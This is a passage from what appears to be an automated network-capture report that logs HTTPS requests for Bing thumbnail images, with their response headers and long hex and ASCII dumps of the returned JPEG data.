34 8d 1c 72 a4 bb 69 68 05 Data Ascii: VbKfhk\|RajiVkkkY4[s7k6`bfG&YJU#m$,rghkQun3mes4\|i?T/o.L/K<2HR7"9n~oEA+\|>oJHJHV(jnT;U~Eq4rih
2024-11-23 23:06:24 UTC	16067	IN	Data Raw: 00 f5 d7 d4 3a 96 97 a5 f8 83 c2 3a be 99 2c 51 ae a1 2d a3 08 e5 65 db b6 42 38 3f 8d 7c a9 27 9f 1a b5 b9 89 55 95 b6 49 b5 4a b7 1e b4 a9 c9 49 7a 09 1a 16 a9 60 d0 b3 06 fd e2 e3 e5 96 3f 95 bf 15 39 5f c8 d4 37 97 0b 27 ee d1 59 21 56 ce d6 f9 b7 1f 6c 60 1f ae 33 59 6c a6 29 14 9f bd d5 7f bb 53 48 f7 0e bf ea 95 4b 7f 12 b7 de 3e b8 ab b0 cd dd 2d ac a6 8d a3 8d a0 f3 7a ac 72 a8 55 6f a8 6f f1 06 a8 6a 53 cb 2c 98 95 76 ac 5c 2c 7e 61 95 57 fd d2 7a 0f 6a ce 8c cb 12 fc eb b8 7f 17 cd 52 c9 72 9f f2 c6 0f 2f e5 f9 9b cc f9 5a 9d 80 d5 d2 ee a2 8e 4d 9f 2f cd ce ee 55 fe a3 a6 7f 03 51 6e 17 17 5b e4 9d 76 ee fe 26 db bb fd e1 fd 71 59 96 b3 14 fe f4 a3 fb bb aa 7b 8b c9 3c bf dd 79 8b fd e6 93 e6 a0 0d e8 6c 53 ec ed 3a ca ad 1c 7c f9 b0 30 99 17 Data Ascii: ::,Q-eB8?\|'UIJIz`?9_7'Y!Vl`3Yl)SHK>-zrUoojS,v\,~aWzjRr/ZM/UQn[v&qY{<ylS:\|0
2024-11-23 23:06:24 UTC	16384	IN	Data Raw: 6f 5a f2 4f 0f eb 1a a7 88 7c 37 a0 a5 c5 ac f2 48 b6 cd 66 d7 bc bb 4c 50 60 86 5f f6 47 04 0e 6b ea ef 1a 59 a4 96 b9 da ac df ed 7a 77 af 19 f0 7e 83 65 a4 f8 a2 d7 48 9e 7f ec fb 08 fc 44 75 0b 0b 96 f9 56 19 25 4c 05 6e 9f 29 71 b6 ba a8 4f 4e 56 65 35 a9 e6 fa cd 95 a7 89 2c 6d 75 1b 89 da eb ec 79 b3 b9 8f 6e d5 d8 38 47 3d b2 be ff 00 8d 79 96 a1 e1 cd 71 35 ab a8 35 7f b3 45 2d a6 43 5c df ce 16 16 1d 94 6d c8 2c 54 f4 1c 57 da 1f 1d 3c 25 e1 7b 18 7f b5 8d 9f f6 51 9d 8a cf f6 45 0b 1f 9a 4e e0 64 4e e7 76 79 af 9c fe 38 68 f6 9e 22 d2 db 5e b7 89 63 d7 74 a9 0f f6 b4 5e 58 85 af 2d b2 15 2e 36 f7 61 dc 7a 56 aa 44 a3 a5 fd 99 fc 47 a4 69 7a 1a d9 dd df 41 3e a1 a6 b1 5b b9 ed bf e7 d1 8f ca 43 b6 37 6c 3d 40 af a0 74 19 ed ae 56 09 7f 76 cf 26 Data Ascii: oZO\|7HfLP`_GkYzw~eHDuV%Ln)qONVe5,muyn8G=yq55E-C\m,TW<%{QENdNvy8h"^ct^X-.6azVDGizA>[C7l=@tVv&
2024-11-23 23:06:24 UTC	16384	IN	Data Raw: c5 79 77 88 b4 5d 9a 94 b0 26 dc c1 83 12 b2 fc b2 0c fa 0c 1e 73 5e 91 e0 d8 6e 35 cd 6a 2d 60 ca b2 c5 a9 e9 f1 9f 97 3b 94 81 c8 fc ea a7 8b 7c 2f bf 50 6d 62 26 65 7b 35 f9 a3 db fe b2 36 18 eb ea 1a bb 23 65 a1 86 c7 ce f7 16 97 7e 72 a5 bd 9c 76 ab b8 ee 93 cf 2d fa b1 ed 5e dd fb 36 78 a9 07 82 6d b4 a7 bc 59 66 d2 6e e5 b5 8f f8 77 45 30 dc a8 0f fb c3 39 ed 5e 53 e3 cf 0f dc 69 be 2c bc fb 5a ad cc 2d 28 9a 39 24 90 bf c9 27 cc 30 a3 d3 38 a9 7c 01 7f a7 69 5e 20 96 c1 ee 56 01 aa c1 e5 c5 76 cb e5 a5 ac ea 77 45 9c 64 e0 b7 19 3d 29 b4 a4 ac 53 d5 1f 5c de 78 87 40 d3 bf e2 71 a8 6a 70 59 d8 6a b6 81 e4 f3 64 db e5 ca 83 6b 2f b9 2b 5c 5f 8a be 24 7c 3b d6 74 db cd 0e 49 ee e5 56 8c 99 20 81 77 7d b9 00 dd b5 31 cf 22 bc e6 e3 4e b8 f1 f7 81 ee Data Ascii: yw]&s^n5j-`;\|/Pmb&e{56#e~rv-^6xmYfnwE09^Si,Z-(9$'08\|i^ VvwEd=)S\x@qjpYjdk/+\_$\|;tIV w}1"N

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49730	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:23 UTC	375	OUT	GET /th?id=OADD2.10239360172429_1FBLLBDCCPBGUQBS5&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-23 23:06:24 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 687339 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 7EF269279B544AE88EFF2CCC665D0759 Ref B: EWR30EDGE0410 Ref C: 2024-11-23T23:06:23Z Date: Sat, 23 Nov 2024 23:06:23 GMT Connection: close
2024-11-23 23:06:24 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 35 3a 31 33 20 31 38 3a 34 31 3a 32 35 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 07 80 00 00 a0 03 00 03 00 00 00 01 04 38 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.4 (Windows)2023:05:13 18:41:258C
2024-11-23 23:06:24 UTC	16384	IN	Data Raw: 79 df e7 34 cf 36 98 ef ef 50 ef df 47 38 72 17 91 a8 dd ef 51 47 4f a7 ed 09 b0 fd f4 6f a8 77 d3 24 b8 d9 55 ed 03 d9 96 2e 1c 24 3d 6a 8f df 9b cc a4 69 24 7e 3f 82 a4 8e 9f 39 4a 8f 28 fd fb 29 92 3d 1f 7e 88 e9 7b 42 3d 8a 12 8a 6e ea 23 7a d3 da 1c d3 a2 3a a4 4a 66 fd 94 c9 1e 8f 68 67 3a 03 e4 6a 64 92 d4 32 3d 32 46 a3 db 11 f5 61 f2 4d 55 a4 7d f4 7d fa b3 1a 54 7b 42 fd 80 5b c5 57 23 f9 2a 1f b9 4e a2 73 34 85 31 6e 2a b5 c3 fb d3 ee 1e a8 5e 4b 58 73 97 ec c6 5c 4b be a9 c9 4f dd 46 da da 99 84 e6 1b 68 a7 fd ca 82 ba ce 2f 8c 5d f5 0c 8d 4f 91 fd e9 9b e9 7b 40 f6 24 3b fd e9 9b 24 7a b3 1a 53 f6 d4 73 97 ec e0 53 8e 2a 24 4d 95 66 4a 87 66 fa d0 08 aa 3a b3 e5 51 e5 50 47 b8 56 db 4c f2 aa ff 00 93 fe 71 4c d9 55 ef 91 cf 02 9e ca 3e cf ed Data Ascii: y46PG8rQGOow$U.$=ji$~?9J()=~{B=n#z:Jfhg:jd2=2FaMU}}T{B[W#Ns41n^KXs\KOFh/]O{@$;$zSsS*$MfJf:QPGVLqLU>
2024-11-23 23:06:24 UTC	16384	IN	Data Raw: 5b 29 63 fd cd ac 71 7f cb 2f e3 ae 4a df 5b 97 ce f3 24 9e 6b 5f fa 6b e7 57 3d 6f 71 27 9d e6 47 fe b2 2a 9a f2 58 9e f7 f7 7e 74 51 ff 00 cb 5a da 18 5a 64 4e a4 fe d1 ea 9f 0d fc 7d 73 a9 6b 5f d8 7a 84 f0 cb 27 fc b2 96 5f fe 2a bd 2e 34 af 98 fc db 2b 69 bc cb 7f fc 8b 5e f7 f0 9f 5b fe db f0 c4 52 49 ff 00 1f 11 7e ee 5f f7 2b cf cc 30 bc 9e fc 0e dc 2d 7e 7f 76 47 49 e4 ff 00 9c 51 1c 55 66 35 a7 ed af 24 ed e4 2a c7 17 a5 49 e4 fb fe 95 67 65 3e 38 ab 42 0a db 2a 68 a9 fe 4f bf e9 4f 8d 28 00 8d 2a 68 d2 88 e9 f1 d0 54 26 1b 69 97 12 db 5b 43 e6 5c 4f 0c 51 c5 5c df c4 cf 15 ff 00 c2 37 0f 97 1f fc 7c 4b 17 99 5e 09 e2 cf 19 ea 3a ad ec b2 79 f3 45 5d 34 70 53 aa 73 56 c6 c2 1e e9 ef de 28 f1 9e 8b a0 df 7d 8e f2 7f 36 4f dd ff 00 aa ff 00 6b ee Data Ascii: [)cq/J[$k_kW=oq'GX~tQZZdN}sk_z'_.4+i^[RI~_+0-~vGIQUf5$Ige>8BhOO(*hT&i[C\OQ\7\|K^:yE]4pSsV(}6Ok
2024-11-23 23:06:24 UTC	16384	IN	Data Raw: 83 4c d0 e3 34 b9 6c af e1 fb 3d e7 ee a4 f3 7f 7b e5 7d c8 f7 55 9d 42 ca f6 1b 2b ab 3b 88 3c d9 22 ff 00 55 fd f8 f6 d7 61 25 94 6f fb bb 7f 26 ea de 5f f5 b5 ca ea 1a 7e a3 0e b5 37 d9 e7 9a d6 3f f9 e5 ff 00 3c e8 02 9c 97 16 d7 fa 2c 57 91 cf e6 de 58 45 e5 cb 17 93 fe b2 2a bf f6 4b 2f f8 47 e2 d5 34 7f 3b ed 1f f9 06 3f f8 15 69 7d 93 4e b3 d1 7f b4 2e 27 87 ed 97 5f bb f3 65 87 63 c8 f5 cd de 24 96 77 bf 67 8e 7f b0 5b cb fb c8 bf 83 cc dd 40 1a b6 fa 9e 83 7f 0d ad be a9 fe 8b 25 d4 5f 66 ba 97 c8 ff 00 56 ff 00 c1 ff 00 01 a8 74 bd 42 f7 44 b2 d4 34 fb 7b e8 6f fe cb 2f d8 a2 8a 6f b9 f3 7f 0d 66 dc 5e dc 7f c2 31 75 f6 8f f4 a8 e2 97 cb 97 f7 3b eb 07 54 fb 6e 8f 0d ae a9 e1 f9 e6 97 ec ba 82 5c c5 a7 cb f3 fc eb fe fd 2e 40 f6 87 6d 6f 6f 73 Data Ascii: L4l={}UB+;<"Ua%o&_~7?<,WXE*K/G4;?i}N.'_ec$wg[@%_fVtBD4{o/of^1u;Tn\.@moos
2024-11-23 23:06:24 UTC	16384	IN	Data Raw: de ac f9 3f e7 14 ff 00 2a 8e 70 29 fd 8e 8f b1 d6 94 69 4f 8d 28 e7 03 2b ec 9e f4 f8 ed 2b 4a 99 25 1c e0 79 5e 97 0e c9 a2 f3 27 f3 64 97 fe 59 55 cb 8d 3f fe 79 ff 00 e4 5a 7e 9f 16 bd 6d fe ae 08 62 ab 31 e8 5a f5 ff 00 ef 24 f3 bc b9 7f e7 96 ca fd 52 75 0f ce 39 0c a9 21 d9 34 5e 65 f4 ff 00 f5 ca 8d 91 bc de 64 73 fe f2 2a eb 6d fc 35 e1 cb 39 bc bd 53 55 f2 a4 ff 00 9e 57 70 d3 f5 0d 43 c3 16 13 7f c4 be fa f6 29 3f ea 13 65 0c 3f f8 fb 56 3e d8 be 43 06 df 4c d4 66 f3 7e c7 04 d2 c9 ff 00 3c a2 f9 2a e6 97 e1 fd 7b ce f3 2e 2c 66 8a 4f fa 6b 35 32 e3 c4 b7 be 77 fc 4a ef af 7c bf fa 7b 9b ce 7a c4 d5 35 8b 9b 9f de 5c 4f 34 b4 7b f3 0f 70 e9 2e 3f b7 ec ff 00 e3 f3 c8 f2 ff 00 e9 ad 53 bc d4 ed 9f f7 7f 6e 86 d7 fe 7a f9 50 d7 37 6f 71 71 7f fb Data Ascii: ?p)iO(++J%y^'dYU?yZ~mb1Z$Ru9!4^edsm59SUWpC)?e?V>CLf~<*{.,fOk52wJ\|{z5\O4{p.?SnzP7oqq
2024-11-23 23:06:24 UTC	16384	IN	Data Raw: fe cf e7 ff 00 a3 f9 be 5f fb 75 10 e7 9f c4 59 df e8 fa 24 b7 9a a7 d8 ed e7 86 5b 89 7f e7 ac df fa 13 53 ef 2c ac ac e1 fb 44 97 d6 52 ff 00 cb 3f f4 49 bc ea c1 f0 fd dc b7 3a 2f db 24 9f fd 6c b2 47 fb aa b3 1d 97 da 61 f3 2e 27 86 28 eb 4f 7c cc bf f6 ad 39 26 fd de 87 ad 4b ff 00 4d 7c e8 52 b3 7c 51 a8 69 3f ea ed e0 9a d6 f2 5f f9 75 96 6d fe 65 56 b8 d4 75 6b 98 7e c7 a5 cf fb bf f5 7f 6b ff 00 62 a8 47 a2 47 0c df 68 ff 00 5b 27 fd 35 ac ff 00 78 01 1e 85 7b 7f 7b 15 9f ef bf 7b fe aa 28 be 4f 9e bb 68 fc 05 e1 8f 0f 5e fd a3 c5 93 e9 71 49 2c 51 ff 00 c4 be 2b dd ff 00 f7 de ca e6 23 8a 3f 26 28 e4 9f fd 6f fd 37 a6 5c 45 65 a5 59 79 76 f0 7e f2 a2 74 e7 33 48 4c de d6 35 8d 47 55 bd fe c7 b3 9e 69 6c fc df dd 69 fa 7c 1e 4d b4 7f f0 05 a2 df Data Ascii: _uY$[S,DR?I:/$lGa.'(O\|9&KM\|R\|Qi?_umeVuk~kbGGh['5x{{{(Oh^qI,Q+#?&(o7\EeYyv~t3HL5GUili\|M
2024-11-23 23:06:24 UTC	16384	IN	Data Raw: f8 91 a8 79 90 43 fb db 58 3c a9 6b 4b c3 77 12 59 d9 45 1f fd 32 f3 2b 12 3b 8f 3b e2 a5 d7 da 3f 7b ff 00 12 af fd 9e b3 19 ab e2 4d 3e 3d 56 1f b1 dc 4f 34 52 4b 2c 7f e9 5f f3 ef 5d 56 b9 e2 28 df ca 8f cf fb 54 7f ea ff 00 d2 ec bf 73 71 ff 00 d9 57 3d e1 bb 78 a6 bc 96 e2 e3 ce f2 ed 7f d5 79 b3 ec f9 eb 62 4f ed 1b ff 00 37 ec f3 d9 45 1c 52 fe eb fe 9a 55 fb 31 73 85 e5 de 83 73 a2 f9 72 78 57 fe fd 7d ca b3 6f 71 65 ff 00 08 f7 97 a7 cf 0c 56 76 11 7f a2 ff 00 73 fd da a1 26 9f e2 38 66 8a 3b c9 ec bc bf fa 6b 54 34 fb 2d 5b 52 f0 fe a1 71 aa 69 5a 5c 5f f3 eb ff 00 4d 1d 5e 9f 21 81 b7 a5 c5 a8 ea 5e 55 c7 9f 0d af 95 ff 00 3d 7e fd 50 b3 d6 ee 74 db c9 64 f2 3e d5 79 fe af cd ff 00 62 ab 5e 4b 73 e1 ef 26 49 3c 9b f8 ff 00 77 1c b1 4b 0f fa ba Data Ascii: yCX<kKwYE2+;;?{M>=VO4RK,_]V(TsqW=xybO7ERU1ssrxW}oqeVvs&8f;kT4-[RqiZ\_M^!^U=~Ptd>yb^Ks&I<wK
2024-11-23 23:06:24 UTC	16067	IN	Data Raw: 1e 1a b9 7d 2e ea 4d 3f f7 b7 1f 65 93 fe 5b 57 9e de 24 7a 97 88 3c 17 6f 79 e7 45 1f 95 24 92 f9 50 fc fb 17 f8 29 81 ab 79 a7 c9 37 95 24 90 41 fb a9 63 b6 8a 5f f9 6d f7 eb aa d6 1f 4e b9 f1 06 95 1e a9 04 d2 e9 f6 b1 49 fb d8 bf d7 56 54 77 76 d7 3a a7 f6 7c 9a 54 d6 b6 fe 57 fa 2f 9b ff 00 2d 1f f8 b7 53 fc 59 a8 49 e7 7d 9f f7 31 79 5f f4 c7 fd 5d 06 24 3a 85 ec 97 37 be 5d 9d 8c 36 b1 ff 00 ab a9 bc 37 15 cc da a4 51 db fe f6 4f 37 f7 b5 43 4f 6d 93 43 e6 58 c3 fb aa e9 7c 27 2e ff 00 37 50 8f fd 5c b2 c9 40 72 19 3a 3e b1 1e b1 e2 ef 12 de 47 e4 f9 76 b2 c7 6d 69 2c 5f f2 d2 ae e9 69 be 69 64 93 fe 3e 3c af 2e 2f f8 15 72 9f 0b ee 2d 92 cb 55 d3 fc 89 be d1 15 d4 77 3f ba fb f5 d1 5e 5d c7 0d c7 99 1c f3 79 9e 6f fc b6 82 a8 0c 0f 14 3d b5 e7 c4 Data Ascii: }.M?e[W$z<oyE$P)y7$Ac_mNIVTwv:\|TW/-SYI}1y_]$:7]67QO7COmCX\|'.7P\@r:>Gvmi,_iid><./r-Uw?^]yo=
2024-11-23 23:06:24 UTC	16384	IN	Data Raw: 1d af f6 47 85 7c 1f e2 09 24 12 fe ec e9 f7 b7 32 dc 7f c0 da 35 58 ff 00 f1 ea 89 e6 13 fe 50 fa 94 3f 98 e4 bc 3f e0 af 15 de 6b 51 5e 7f c2 2b 7b 75 67 2c bf bd f3 6c 9d fe 4f ef f9 5c 3d 5c 8f 55 b6 d2 af 7c bd 1f c2 be 0b 8a 4f 37 f7 5a 84 5a 2e f7 93 fe fe b3 57 a2 f8 2f c0 bf 14 9f ed 5f f0 90 5f 6b 5a 0c 77 51 79 52 f9 b7 be 74 d7 71 7f 77 e5 fb 95 b7 a7 fc 17 f0 a7 db 62 d4 2e 2c 7c df 2a 2f 2f f7 b7 bb eb 96 78 ae 7f 88 ec a3 85 51 f8 4f 3a 8f 5b 96 e6 f7 cb d5 27 86 2b 7f f9 6b 15 a7 87 ec 13 fe f9 91 d2 a9 ea 96 3e 18 9a 1f 32 3f 07 5e cb 1c bf f2 d6 ef 53 f2 7f f4 4c 55 ee b6 fe 04 f0 9c 30 fe ef 43 d2 e5 ff 00 af b9 be 4a e7 bc 79 ad fc 3e f0 37 fa 45 e6 95 65 e6 4b 17 ee a2 d2 74 5b 9b e9 a4 ff 00 da 69 47 d6 a1 fc a6 93 c2 9e 75 e0 f4 d2 Data Ascii: G\|$25XP??kQ^+{ug,lO\=\U\|O7ZZ.W/__kZwQyRtqwb.,\|*//xQO:['+k>2?^SLU0CJy>7EeKt[iGu
2024-11-23 23:06:24 UTC	16384	IN	Data Raw: 2a 43 14 77 97 d3 79 9f f5 c6 ab 68 f6 fa 2a 4f f6 8b 78 3f f0 12 6a 35 0f 06 68 af 7b ff 00 1f d7 be 64 bf ee 3f fe 86 b5 95 ff 00 08 67 d8 ec be d1 a5 ea be 6c 7e 6f fa d9 76 6f ff 00 c7 2b 39 f3 8b da 1d 27 f6 65 c2 59 79 96 7a af 9b 6f 2f ef 25 fb 5f cf 36 fa ad ae 69 96 57 3e 1f fb 1c 70 43 2f 9b ff 00 a1 ff 00 0b 56 24 8b ab 5b 7f a1 ea 90 59 5d 47 ff 00 3d 7e 7f dd d5 3f b7 5e db 59 7d a3 4f be 86 5b 79 7f e5 ad 05 f3 94 ef 34 cd 26 c3 ec b6 7a 87 9d 15 c5 ac be 5f ef 7f f6 6a bf fd 9f 26 95 63 f6 7b c8 3e c1 71 e6 fe eb fd c6 fb 9b a9 9e 1f b7 f0 e6 ab e7 59 de 41 e5 6a 92 ff 00 cb 59 77 bf da 3f f8 8a 35 cb 4b 9b 39 bc cd 43 c9 96 e3 fd 5c 57 52 cd fe 8d ff 00 7d b5 45 42 60 5c b8 86 e5 f5 a8 ac ee 2f be d5 71 17 fc b5 97 e4 f9 ff 00 d9 5a a7 a8 Data Ascii: CwyhOx?j5h{d?gl~ovo+9'eYyzo/%_6iW>pC/V$[Y]G=~?^Y}O[y4&z_j&c{>qYAjYw?5K9C\WR}EB`\/qZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49728	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:23 UTC	346	OUT	GET /th?id=OADD2.10239370639703_1XZVEAKL3PD7EZGL4&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-23 23:06:24 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 637660 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 342B637DA23A4D799B3F86EE0F833CF0 Ref B: EWR311000102009 Ref C: 2024-11-23T23:06:23Z Date: Sat, 23 Nov 2024 23:06:23 GMT Connection: close
2024-11-23 23:06:24 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 1d dc 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 31 3a 32 31 20 31 36 3a 32 38 3a 34 30 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``ExifMM*bj(1r2i``Adobe Photoshop 25.1 (Windows)2023:11:21 16:28:408
2024-11-23 23:06:24 UTC	16384	IN	Data Raw: 3b c8 05 c2 c0 b0 c7 c2 c6 ab f3 31 f7 af 23 11 9a 53 8d d4 59 ec 50 cb 27 a3 99 e6 9f 0b 7e 15 dc ea 97 8b 77 a8 ed 58 63 6f f5 6c bf 7a bd 66 db e1 4f 86 a1 86 59 3f b3 e3 69 a5 5c 6e fb db 7e 82 bb ed 3f 4f 82 38 56 38 95 57 77 fc f3 ab ab 66 b1 af c9 d6 be 7b 11 98 55 a9 2b de c7 b3 47 0b 4e 9c 6c 91 e3 1a 6f c1 9d 00 ea 12 47 35 8c f2 47 bb e5 66 6a ec bc 2b f0 bf 43 d0 d7 fd 1a 05 f5 56 65 e7 f3 ae ce 45 78 f9 4e b5 2c 6e 7c bf 9f e6 35 cf 3c 5d 69 ab 39 33 58 d2 82 d9 1c cc de 17 d2 a3 9a 4b 97 b6 8d 99 b8 69 19 77 35 3b 4f d0 ac 85 d4 77 11 c7 b7 cb ad eb c1 e6 43 f2 2f 35 42 3d 42 de dd 96 09 65 55 3f ed 56 7c f3 6b 72 ac 91 d0 69 b2 8d aa 82 b4 a1 96 b9 88 ef c4 4d e6 2b 6e 8e ae e9 ba b4 57 3c c6 fb b6 d6 12 83 dc a4 74 b0 cb 9a b7 1c b5 91 6d Data Ascii: ;1#SYP'~wXcolzfOY?i\n~?O8V8Wwf{U+GNloG5Gfj+CVeExN,n\|5<]i93XKiw5;OwC/5B=BeU?V\|kriM+nW<tm
2024-11-23 23:06:24 UTC	16384	IN	Data Raw: fc b5 6e 6b 72 cb 8a c5 d4 d7 42 94 6e 71 f7 e4 bb 63 6f 3f de aa 13 5b 33 f4 ae d5 f4 bc f2 eb ba 96 1d 32 33 fc 35 4a aa 27 95 9c 03 69 f3 bb 63 6d 5a b5 d0 2e 24 e7 6b 57 a0 db e9 90 22 ff 00 aa a9 a4 86 da de dd a5 b8 96 38 22 5f bd 24 8c 15 7f 33 4f db b7 b0 f9 12 dc e0 24 d0 a4 45 ce da 8e da c3 62 b4 8f fb b8 e3 5c b3 37 dd 5a 9b e2 07 c5 4f 87 9e 1b 69 6d e7 d6 a3 bc bb 8f 8f b2 58 fe f1 f3 ee 7a 0f ce bc 03 e2 67 c5 fb ff 00 10 dd 34 76 cb f6 5b 05 6f dc db 46 df 7b fd ff 00 ef 1a eb a3 46 b5 4d 5a d0 c2 a5 58 47 a9 ec 3a f7 8b 34 2d 36 dd 8c 53 fd aa 5e 8a b1 fd dc fb 9a e0 35 5f 1d 1b 8b e6 8d a7 55 3f f3 cd 7e 55 af 27 be d7 ae 27 8f 74 8c ca 7f 85 77 7c b5 8d a8 5d c8 ec a4 37 3f de af 46 9e 13 b9 c7 3c 43 b1 eb 3a e6 bb 1c 71 f9 b2 6d 6e fb Data Ascii: nkrBnqco?[3235J'icmZ.$kW"8"_$3O$Eb\7ZOimXzg4v[oF{FMZXG:4-6S^5_U?~U''tw\|]7?F<C:qmn
2024-11-23 23:06:24 UTC	16384	IN	Data Raw: 19 6a d3 ad 46 cb 8a 62 2b b2 d2 32 d4 ce b4 d6 14 01 03 2e 7e 5a 7c 7a 7d d4 ed 20 82 da 79 0c 7f 7b cb 8c b6 da df f8 7f a1 4f ad 6b 51 a4 4b e6 08 d8 1d bb 6b e8 df 0c f8 5f 4c b0 d3 76 45 6d 1a 99 39 91 95 7e 66 35 e5 e3 b3 28 e1 9a 8a 57 67 a5 85 c0 fb 58 f3 49 d9 1f 3b 78 2f c0 1a be af 79 24 73 d9 b4 41 57 e5 8e 4e 1b ff 00 ad 5a da bf c1 7f 10 5b 59 b5 cc 57 36 d2 6d 52 7c a5 ce ea fa 2a c3 4e b7 b4 8d 84 11 2a ee e5 a8 bf b5 f3 ad 5a 23 f2 ee af 16 79 cd 77 2b c7 44 7a 31 c0 d0 4a cd 1e 5f fb 37 ff 00 6f da 69 f7 3a 66 af 17 97 6f 04 98 8b fb d5 eb b6 31 e1 b3 f7 85 65 59 d8 88 76 c5 1a aa 8a dd b3 8f 6c 6a 3f bb 5e 65 6a 9e d6 a3 95 ad 73 a9 45 42 0a 24 eb f7 68 53 4e a8 dc 81 50 22 1b 83 f3 53 d9 7f 77 51 33 a1 6c 1a 91 58 79 7f 7b 8a 43 2a fd Data Ascii: jFb+2.~Z\|z} y{OkQKk_LvEm9~f5(WgXI;x/y$sAWNZ[YW6mR\|NZ#yw+Dz1J_7oi:fo1eYvlj?^ejsEB$hSNP"SwQ3lXy{C*
2024-11-23 23:06:24 UTC	16384	IN	Data Raw: fe b9 ef 55 66 b4 b2 dd e5 45 7c ab 24 72 66 4f dd ee 56 34 93 59 db dd 48 d7 51 4e d1 2c 5f bb 8e 35 8b ef 3f ad 51 41 b5 96 2b d6 d8 bf c2 b1 c7 f3 31 f4 27 d2 88 45 5d b8 b1 cd bb 59 9b fa 55 cd bc 50 c9 6a b2 f9 90 c7 93 fb a5 3b b7 ff 00 2a ae d6 ba ad c5 e4 86 09 56 d6 2e 07 76 6e 9d 07 a9 fa 56 8e 8b 10 86 e2 da c2 d3 cc 79 24 5d fb 95 7e 5f cc ff 00 3a f1 ad 63 e3 16 a3 a6 7c 44 92 31 03 41 a6 59 ca d1 c9 03 36 f9 18 83 82 c5 bd 7e 9c 57 2c f1 10 a7 27 6d cd 23 4a 52 5e 47 b1 68 7a 24 9a 8f 88 13 4f 96 79 25 b7 8b 12 5c ee 5d a5 40 f4 f4 f4 ae 92 ce 5b 3b 5f 10 46 fe 54 76 6d e6 6c b4 f2 a3 df b4 1e ad b7 bb 76 19 ae 47 e0 7f 8e bf e1 32 f1 45 d2 68 10 49 1d a4 56 c4 fe fd 42 b4 d2 1e e4 f6 51 5e a3 e1 bb 6b 2f b6 2d fc 76 6a d2 aa 97 92 e7 cc dd Data 